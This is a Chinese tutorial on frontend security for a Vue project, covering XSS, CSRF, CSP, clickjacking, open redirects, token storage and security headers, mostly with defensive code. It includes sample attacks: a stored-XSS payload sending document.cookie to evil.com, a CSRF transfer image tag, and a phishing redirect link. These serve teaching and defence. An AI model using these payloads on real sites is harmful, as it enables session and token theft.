前端安全:XSS、CSRF、CSP
1. 前端安全的定位
OWASP Top 10 里前端能涉及的主要是:
- XSS (Cross-Site Scripting) —— 在你的页面注入恶意脚本
- CSRF (Cross-Site Request Forgery) —— 借用你的登录状态发请求
- 点击劫持 (Clickjacking) —— 诱骗点击
- 开放重定向 —— 把你的登录跳到钓鱼站
- 敏感数据泄漏 —— localStorage 裸奔 / URL 带 token
- 依赖漏洞 —— 第三方库埋雷
前端安全的核心原则:
- 永远不要信任任何输入(包括后端返回的数据)
- 最小权限(能只给 localStorage token 就别给 DOM XSS 权限)
- 纵深防御(XSS 防不住时 CSP 兜底,CSP 绕过了 HttpOnly 再拦一层)
- 前端不是唯一防线(后端必须独立验证)
Java 对照:类似 Spring Security 的多层 Filter —— 前端只是链条里的一环。
2. XSS:最常见也最危险
XSS = 攻击者在你的页面塞进 JS,以受害用户的身份执行。能干的事:
- 偷 Cookie / localStorage 里的 token
- 读页面上的敏感数据发出去
- 篡改页面内容做钓鱼
- 让受害者发请求("谁访问我就自动点赞")
2.1 三种 XSS
A. 存储型 (Stored) 攻击者的 payload 存在后端,每个访问的用户都中招。
用户 A 在评论区提交: <script>fetch('https://evil.com?c='+document.cookie)</script>
这段文本存进数据库
用户 B / C / D 看到评论 → 浏览器解析执行 → token 被偷
最危险——一次攻击,全站用户受害。
B. 反射型 (Reflected) payload 从 URL 或表单参数反射回页面。
https://yourapp.com/search?q=<script>evil()</script>
页面直接把 q 值显示出来而不转义 → 执行
需要诱骗用户点链接,影响稍小。
C. DOM 型 (DOM-based) 不经过后端,纯前端代码把不可信数据写进 DOM。
const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}` // ← 危险
纯前端逻辑造成的。
3. Vue 的默认防护
好消息:Vue 模板里 {{ 插值 }} 和 v-bind 自动转义。
<!-- 即使 userInput = '<script>alert(1)</script>' -->
<p>{{ userInput }}</p>
<!-- 渲染出来是文本:<script>alert(1)</script> -->
<!-- 浏览器显示成字符串,不执行 -->
这就挡掉了 80% 的 XSS。
坏消息:几个能绕过的场景要手动防:
3.1 v-html
<!-- ❌ 直接把字符串当 HTML 渲染 -->
<div v-html="userContent"></div>
什么时候不能用:用户提交的内容(评论、昵称)。 什么时候可以用:来自可信源的 HTML,如你自己的 Markdown 渲染结果、后端做过净化的富文本。
Vue ESLint 规则:
'vue/no-v-html': 'warn'
开着这条规则,每个 v-html 都会被标黄,提醒你想清楚。
3.2 :href
<!-- ❌ -->
<a :href="userUrl">点我</a>
<!-- userUrl = 'javascript:alert(1)' → 点击执行 -->
防御:白名单过滤协议。
function safeUrl(url: string): string {
const ok = /^(https?:\/\/|\/|#|mailto:)/i.test(url)
return ok ? url : '#'
}
或用 DOMPurify 的 sanitize。
3.3 动态组件 <component :is="...">
<!-- ❌ -->
<component :is="userInputComponentName" />
白名单:
const allowed = { NoteCard, UserAvatar, Button }
const Comp = computed(() => allowed[props.name] ?? null)
3.4 v-bind 绑定整个对象
<!-- ❌ 可能把 innerHTML 之类的属性一起注入 -->
<div v-bind="arbitraryObject"></div>
对"来自后端的任意对象"的全量 v-bind,要先过滤允许的键。
4. Markdown 渲染的 XSS 防护
in4vue 用 markdown-it 渲染笔记。默认安全:
const md = new MarkdownIt({
html: false, // ← 关键:禁用 HTML 标签(默认 false)
linkify: true,
breaks: true,
})
html: false 时,用户写的 <script>alert(1)</script> 会被当成字符串转义。
如果必须开 html: true(允许少量 HTML 标签),用 DOMPurify 过一遍:
import DOMPurify from 'dompurify'
const dirty = md.render(source)
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['a', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
})
规则:用白名单,别用黑名单——黑名单总能被绕过(<ScRiPt>、<iframe srcdoc=...>)。
5. 后端协作:Content-Type 正确
有些 XSS 靠 Content-Type 混淆攻击。fetch('/data.json') 回来是 JSON 还是 HTML?
防御:
- JSON 接口必须返
Content-Type: application/json - 用户上传的文件不能原样以
text/html提供——要么强制下载(Content-Disposition: attachment),要么放到独立的不可执行域名
in4vue 这种前端项目不处理文件上传给其他用户,风险低。但知道有这回事。
6. CSP:内容安全策略
CSP (Content-Security-Policy) 是一个 HTTP 响应头,告诉浏览器:
"这个页面只能加载来自
self+cdn.example.com的 JS;任何<script>内联代码都禁止执行"
即便攻击者把 <script>alert(1)</script> 塞进你的页面,CSP 拦截。XSS 的最后一道防线。
6.1 基础配置
Nginx 里加响应头:
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://api.example.com https://sentry.io;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always;
指令逐条解释:
| 指令 | 含义 |
|---|---|
default-src |
所有类型资源的默认策略 |
script-src |
JS |
style-src |
CSS |
img-src |
图片 |
font-src |
字体 |
connect-src |
fetch / XHR / WebSocket |
frame-ancestors |
谁能把我嵌入 iframe(防点击劫持) |
base-uri |
限制 <base href> |
form-action |
表单提交目标 |
常见来源值:
'self'—— 同源'none'—— 全禁'unsafe-inline'—— 允许<script>内联</script>(会弱化防护)'unsafe-eval'—— 允许evalhttps://cdn.example.com—— 具体域名https:—— 任何 HTTPS 源
6.2 Vite 项目的 CSP 挑战
问题:Element Plus 等组件用动态生成 style,需要 'unsafe-inline' for style。Vue 的 <script setup> 构建产物是外部脚本,不需要 unsafe-inline for script。
in4vue 推荐的平衡策略:
default-src 'self';
script-src 'self'; ← script 严格,不开 unsafe-*
style-src 'self' 'unsafe-inline'; ← style 放宽(Element Plus 需要)
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
script-src 严格是最重要的——XSS 攻击 99% 靠 <script> 或 eval。
6.3 nonce / hash 的严格模式
想彻底禁 'unsafe-inline',给每个合法内联脚本加 nonce:
<script nonce="{{random}}">...</script>
script-src 'self' 'nonce-{{random}}';
代价:需要后端生成每请求唯一的 nonce,SPA 环境复杂。in4vue 不用做——script-src 'self' 已经够了。
6.4 先观察后强制:report-only
上线 CSP 前先用报告模式看看会不会误伤:
add_header Content-Security-Policy-Report-Only "..." always;
浏览器会不阻止但把违规情况发到 report-uri。观察一周没问题再切正式策略。
7. CSRF:借刀杀人
场景:
- 你登录了
mybank.com,cookie 还在 - 你被诱骗打开
evil.com - evil.com 的 JS 发请求:
<img src="https://mybank.com/transfer?to=hacker&amount=1000"> - 你的浏览器自动带上 mybank 的 cookie → 后端以为是你的正常操作 → 转账成功
关键:CSRF 不需要注入 JS 到 mybank,它利用的是"浏览器对任何站点都会自动带 cookie"。
7.1 现代浏览器的天然防御:SameSite Cookie
Set-Cookie: token=abc; SameSite=Lax
SameSite 三档:
Strict—— 跨站完全不带(最严,但登录跳转会不便)Lax—— 浏览器默认值(现在)。跨站链接点击会带,但 POST / img / iframe 不带None—— 跨站也带(必须配Secure)
Chrome 80+ 默认 Lax。这单个改动就挡住了绝大多数 CSRF 攻击。
7.2 经典防御:CSRF Token
后端为每个用户生成 token,前端必须在请求里带上:
GET /index.html
→ 响应里 <meta name="csrf-token" content="abc123">
POST /api/transfer
→ Header: X-CSRF-TOKEN: abc123
evil.com 没法读你 mybank 页面上的 meta,所以伪造不出这个 token。
Spring Security 默认开启,前端要自动带:
// 先从 cookie 或 meta 读
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
service.interceptors.request.use((config) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
config.headers['X-CSRF-TOKEN'] = csrfToken
}
return config
})
7.3 bearer token 方式天然免疫
如果你不用 Cookie 鉴权,而是用 Authorization: Bearer xxx:
service.interceptors.request.use((config) => {
config.headers.Authorization = `Bearer ${token}`
return config
})
evil.com 读不到 localStorage 里的 token(同源策略),也自然带不上。CSRF 不成立——但要防 XSS(XSS 能偷 localStorage)。
in4vue 用的就是 bearer + localStorage,不用专门防 CSRF。但要死死守住 XSS。
8. 敏感数据保护
8.1 localStorage vs httpOnly Cookie
| localStorage | httpOnly Cookie | |
|---|---|---|
| XSS 能偷 | ✅ 能 | ❌ 不能(JS 读不到) |
| CSRF 风险 | ❌ 无 | ✅ 有(需 SameSite 或 CSRF Token) |
| 跨域请求自动带 | ❌ 需手动 | ✅ 自动(withCredentials) |
| 实现成本 | 低 | 需后端配合 |
选择:
- 高安全场景(银行、支付)→ httpOnly Cookie + SameSite=Lax + CSRF Token
- 普通 SPA → localStorage + Bearer Token + 死守 XSS(in4vue)
8.2 永远不要在前端存的东西
- 密码(哪怕是哈希)
- 银行卡号 / CVV
- 身份证号
- 长期不变的 API Secret Key
- 私聊内容明文(即便是临时缓存)
缓存策略:敏感数据用完即删;非敏感的用 sessionStorage(标签页关闭就没)。
8.3 URL 不要带敏感信息
// ❌ token 进了浏览器历史 / 日志 / Referer
router.push(`/callback?token=${token}`)
// ✅ 存 state 里
sessionStorage.setItem('auth_token', token)
router.push('/callback')
9. 点击劫持 (Clickjacking)
场景:evil.com 用 iframe 嵌入你的页面,用 CSS 做成透明,诱骗用户点击"看起来无害"的位置,实际点的是你的"删除账号"按钮。
防御:响应头
add_header X-Frame-Options "SAMEORIGIN" always;
或 CSP 的 frame-ancestors 'none'。
Vue SPA 默认加上,没代价。
10. 开放重定向
// 登录成功后跳回原页
router.replace(route.query.redirect as string)
漏洞:攻击者发给你 https://in4vue.com/login?redirect=https://evil.com/phishing
登录完你被跳到钓鱼站。
防御:白名单
function isSafeRedirect(url: string): boolean {
if (!url) return false
// 只允许站内相对路径
if (url.startsWith('/') && !url.startsWith('//')) return true
// 或明确列出的外站
const safe = ['https://trusted.example.com']
return safe.some(s => url.startsWith(s))
}
const redirect = route.query.redirect as string
router.replace(isSafeRedirect(redirect) ? redirect : '/')
11. 依赖安全
第三方库是个大坑:
- 下载了废弃包(
event-stream曾被植入木马) - 类型错别字(
lodahs而不是lodash) - 依赖的依赖挂了
11.1 工具
pnpm audit # 检查漏洞
pnpm dlx npm-check-updates --deep # 检查可升级
11.2 自动化
- Dependabot (GitHub) —— 每周自动开 PR 升级依赖
- Snyk —— 更强的 CI 扫描
- Socket.dev —— 检测"供应链攻击"迹象
11.3 pnpm-lock.yaml 要提交
锁文件锁定每个依赖的精确版本 + 完整性哈希。别 gitignore 它。CI 必须 --frozen-lockfile 确保和本地一致。
12. 其他响应头清单
加到 Nginx 就好,成本低:
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always; # 防 MIME 嗅探
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# CSP 见第 6 节
用 securityheaders.com 扫一下站点能看到评分。目标 A+。
13. HTTPS 是底线
不仅是数据加密,更是身份验证。明文 HTTP 让中间人能任意改你的页面内容、注入广告、偷 token。
实操:
- 买域名 → 上 Cloudflare 免费 CDN / Let's Encrypt 证书
- 所有 HTTP 跳 HTTPS
- HSTS 告诉浏览器一年内强制 HTTPS
- 测试:SSL Labs 测站,目标 A+
14. 一个典型的"安全上线清单"
做 in4vue 这样的项目上线前过一遍:
- [ ] 不使用
v-html渲染用户输入 - [ ] 富文本用 DOMPurify 或 markdown-it
html: false净化 - [ ] 所有
:href做协议白名单 - [ ] token 存 localStorage 且死守 XSS(或用 httpOnly Cookie 走传统方式)
- [ ] 接口走 HTTPS,HSTS 开启
- [ ]
X-Frame-Options/X-Content-Type-Options/Referrer-Policy配好 - [ ] CSP 配置(至少
default-src 'self') - [ ] 登录后 redirect 参数做白名单
- [ ] Sentry 的
beforeSend过滤敏感字段 - [ ] localStorage 不存密码/卡号等强敏感
- [ ] 生产
console.log被 Vite 剥掉 - [ ] sourcemap 不公开 deploy(或只给 Sentry)
- [ ] 依赖漏洞扫描(Dependabot / pnpm audit)
- [ ] 后端 CORS 白名单(不是
*) - [ ] 所有状态改变接口走 POST/PUT/DELETE(不是 GET)
15. 实际攻击演示(了解原理)
本地试——在浏览器 DevTools Console 输入:
// 1. 模拟 XSS: 如果这能运行,说明你能被 XSS 偷 token
console.log('LocalStorage token:', localStorage.getItem('in4vue-user'))
// 2. 模拟 CSRF: 在 evil 站上发这个能成功说明后端没防 CSRF
fetch('https://in4vue.example.com/api/note/delete/1', {
method: 'POST',
credentials: 'include',
})
开 CSP 后试 1:会被浏览器拦(inline script)——但这只是 DevTools 手动输入,真 XSS 走 <script> 注入是同样被拦。
16. 心智模型
防线分层:
1. 输入端 (用户输入)
- Vue 默认转义
- v-html 前 sanitize
- URL 白名单
2. 存储端 (state / storage)
- 不存敏感
- httpOnly / localStorage 选一
- token 短生命周期 + 刷新
3. 传输端 (网络)
- HTTPS + HSTS
- CORS 白名单
- Bearer / SameSite Cookie
4. 浏览器执行端
- CSP 拦 XSS 兜底
- X-Frame-Options 防嵌套
- 响应头全配齐
5. 监控端
- Sentry 捕异常
- WAF 拦扫描(企业级)
- 依赖漏洞自动扫
没有万无一失,只有"攻击成本 > 攻击收益"。前端做到每一层都有基本防护,就够挡住 99% 的脚本小子。
小练习
- 打开 in4vue,在 Console 查 localStorage 看存了什么
- 写一段 Markdown
# Title <script>alert(1)</script>,确认渲染后不执行 - 给 Nginx 配置加上 CSP 和其他安全头,用 securityheaders.com 跑分
- 故意写一个不安全的
redirect跳转,让后端/前端任一处过滤它 - 装 Dependabot,看下周能收到什么漏洞 PR
延伸阅读
- OWASP Top 10
- MDN - CSP
- MDN - XSS
- DOMPurify
- securityheaders.com
- Vue 官方 - 安全
- CSP Evaluator(Google 官方 CSP 检查工具)